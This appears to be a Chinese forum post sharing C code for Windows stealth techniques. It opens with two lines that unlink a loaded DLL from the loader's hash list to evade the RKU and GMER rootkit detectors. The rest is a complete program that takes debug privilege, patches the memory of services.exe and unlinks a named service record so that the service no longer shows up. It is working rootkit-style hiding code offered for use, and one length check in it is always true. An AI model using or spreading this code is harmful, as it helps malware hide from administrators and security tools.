先上几段老套的代码吧,过RKU,GMAER的dll模块检查的代码,就两句:

ldm->HashLinks.Blink->Flink = ldm->HashLinks.Flink;
ldm->HashLinks.Flink->Blink = ldm->HashLinks.Blink;


//下面是一个ring3下隐藏服务的代码,也是抄别人小小修改了一下而已的:

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <Tlhelp32.h>

// 几个Undocument的结构
typedef struct _SC_SERVICE_PROCESS SC_SERVICE_PROCESS, *PSC_SERVICE_PROCESS;
typedef struct _SC_DEPEND_SERVICE SC_DEPEND_SERVICE, *PSC_DEPEND_SERVICE;
typedef struct _SC_SERVICE_RECORD SC_SERVICE_RECORD, *PSC_SERVICE_RECORD;

typedef struct _SC_SERVICE_PROCESS
{
        PSC_SERVICE_PROCESS Previous;
        PSC_SERVICE_PROCESS Next;
        WCHAR *ImagePath;
        DWORD Pid;
        DWORD NumberOfServices;
        // ...
} SC_SERVICE_PROCESS, *PSC_SERVICE_PROCESS;

typedef struct _SC_DEPEND_SERVICE
{
        PSC_DEPEND_SERVICE Next;
        DWORD Unknow;
        PSC_SERVICE_RECORD Service;
        // ...
} SC_DEPEND_SERVICE, *PSC_DEPEND_SERVICE;

typedef struct _SC_SERVICE_RECORD
{
        PSC_SERVICE_RECORD Previous;
        PSC_SERVICE_RECORD Next;
        WCHAR *ServiceName;
        WCHAR *DisplayName;
        DWORD Index;
        DWORD Unknow0;
        DWORD sErv;
        DWORD ControlCount;
        DWORD Unknow1;
        PSC_SERVICE_PROCESS Process;
        SERVICE_STATUS Status;
        DWORD StartType;
        DWORD ErrorControl;
        DWORD TagId;
        PSC_DEPEND_SERVICE DependOn;
        PSC_DEPEND_SERVICE Depended;
        // ...
} SC_SERVICE_RECORD, *PSC_SERVICE_RECORD;

int WINAPI UnicodeToAnsiStr(OUT char *lpChar, IN WCHAR *lpWideChar)
{
        int iLen;

        iLen = WideCharToMultiByte(CP_ACP, 0, lpWideChar, -1, NULL, 0, NULL, NULL);
        if ((iLen > 1) || (iLen < 20))
        {
                ZeroMemory(lpChar, 40);
                iLen = WideCharToMultiByte(CP_ACP, 0, lpWideChar, -1, lpChar, iLen, NULL, NULL);
        }

        return iLen;
}

BOOL SetDebugPrivilege()
{
        BOOL bRet = FALSE;
        HANDLE hToken = NULL;
        LUID luid;
        TOKEN_PRIVILEGES tp;
        
        if (OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken) &&
                LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
        {
                tp.PrivilegeCount = 1;
                tp.Privileges[0].Luid = luid;
                tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
                bRet = AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
        }
        
        if (hToken) CloseHandle(hToken);
        return bRet;
}

DWORD GetProcessIdByName(char *Name)
{
        BOOL            bRet = FALSE;
        HANDLE            hProcessSnap = NULL;
        PROCESSENTRY32    pe32 = { 0 };
        DWORD            Pid = -1;
        
        hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        if (INVALID_HANDLE_VALUE == hProcessSnap) return -1;
        
        pe32.dwSize = sizeof(PROCESSENTRY32);
        
        if (Process32First(hProcessSnap, &pe32))
        {
                do
                {
                        if (!lstrcmpi(pe32.szExeFile, Name ) )
                        {
                                Pid = pe32.th32ProcessID;
                                break;
                        }
                }
                while (Process32Next(hProcessSnap, &pe32));
        }
        
        CloseHandle(hProcessSnap);
        return Pid;
}

// 修改内存属性为指定值
void ProtectWriteDword(HANDLE hProcess, DWORD *Addr, DWORD Value)
{
        MEMORY_BASIC_INFORMATION mbi;
        DWORD dwOldProtect, dwWritten;
        
        VirtualQueryEx(hProcess, Addr, &mbi, sizeof(mbi));
        VirtualProtectEx(hProcess, mbi.BaseAddress, mbi.RegionSize, PAGE_READWRITE, &mbi.Protect);
        WriteProcessMemory(hProcess, Addr, &Value, sizeof(DWORD), &dwWritten);
        VirtualProtectEx(hProcess, mbi.BaseAddress, mbi.RegionSize, mbi.Protect, &dwOldProtect);
}

//寻找服务链表
PSC_SERVICE_RECORD FindFirstServiceRecord(HANDLE hProcess)
{
        char                FileName[MAX_PATH+1];
        HANDLE                hFile, hFileMap;
        UCHAR                * pMap;
        DWORD                dwSize, dwSizeHigh, i, dwRead;
        SC_SERVICE_RECORD    SvcRd, *pSvcRd, *pRet = NULL;
        
        GetSystemDirectory( FileName, MAX_PATH );
        strcat( FileName,"\\Services.exe");
        
        hFile = CreateFile(FileName, GENERIC_READ, FILE_SHARE_READ,
                NULL, OPEN_EXISTING, 0, NULL);
        if (INVALID_HANDLE_VALUE == hFile) return NULL;
        
        dwSizeHigh = 0;
        dwSize = GetFileSize(hFile, &dwSizeHigh);
        
        hFileMap = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
        if (NULL == hFileMap) return NULL;
        
        pMap = (UCHAR*)MapViewOfFile(hFileMap, FILE_MAP_READ, 0, 0, 0);
        if (NULL == pMap) return NULL;
        
        dwSize -= 12;
        for (i=0; i<dwSize; ++i)
        {
                // 搜索services!ScGetServiceDatabase特征代码
                if (*(DWORD*)(pMap+i) == 0xa1909090 &&
                        *(DWORD*)(pMap+i+8) == 0x909090c3)
                {
                        if (ReadProcessMemory(hProcess, *(PVOID*)(pMap+i+4), &pSvcRd, sizeof(PVOID), &dwRead) &&
                                ReadProcessMemory(hProcess, pSvcRd, &SvcRd, sizeof(SvcRd), &dwRead) &&
                                SvcRd.sErv == 'vrEs')   // ServiceRecord结构的特征
                        {
                                pRet = pSvcRd;
                                break;
                        }
                }
        }
        
        UnmapViewOfFile(pMap);
        CloseHandle(hFileMap);
        CloseHandle(hFile);
        
        //printf( "addr: 0x%08x\n", (DWORD *)pRet );
        return pRet;
}

// 隐藏服务
BOOL HideService(char *Name)
{
        DWORD                Pid;
        HANDLE                hProcess;
        SC_SERVICE_RECORD    SvcRd, *pSvcRd;
        DWORD                dwRead, dwNameSize;
        WCHAR                SvcName[MAX_PATH] = { 0 };
        char lpSvcName[256] = {0};
        
        dwNameSize = strlen(Name)*2; //UNICODE的话,长度要乘以2
        
        if (dwNameSize > sizeof(SvcName))
        {
                return FALSE;
        }
        
        Pid = GetProcessIdByName("Services.exe");
        if (Pid == -1)
        {
                printf("get pid error\r\n");
                return FALSE;
        }
        
        if(!SetDebugPrivilege())
        {
                printf("SetDebugPrivilege error\r\n");
                return FALSE;
        }
        hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid);
        if (NULL == hProcess)
        {
                printf("OpenProcess error:%d\r\n",GetLastError());
                return FALSE;
        }
        pSvcRd = FindFirstServiceRecord(hProcess);
        if (NULL == pSvcRd)
        {
                printf("FindFirstServiceRecord error\r\n");
                CloseHandle(hProcess);
                return FALSE;
        }
        
        do
        {
                if (ReadProcessMemory(hProcess, pSvcRd, &SvcRd, sizeof(SvcRd), &dwRead) &&
                        ReadProcessMemory(hProcess, SvcRd.ServiceName, SvcName, dwNameSize, &dwRead))
                {
                        //OutputDebugStringW(SvcName);
                        // 匹配服务名
                        memset(lpSvcName,0,sizeof(lpSvcName));
                        UnicodeToAnsiStr(lpSvcName,SvcName);
                        if (lstrcmpi(lpSvcName, Name) == NULL)
                        {
                                // 从链表中断开(一般来说ServiceRecord是可写的,但还是先改保护属性以防万一)
                                ProtectWriteDword(hProcess, (DWORD *)SvcRd.Previous+1, (DWORD)SvcRd.Next);
                                ProtectWriteDword(hProcess, (DWORD *)SvcRd.Next, (DWORD)SvcRd.Previous);
                                CloseHandle(hProcess);
                                return TRUE;
                        }
                }
                else
                {
                        break;
                }
        }
        while (pSvcRd = SvcRd.Next);
        
        if( NULL != hProcess )
        {
                CloseHandle(hProcess);
        }
        
        return FALSE;
}
int main()
{
        HideService("Alerter");
        return 0;
}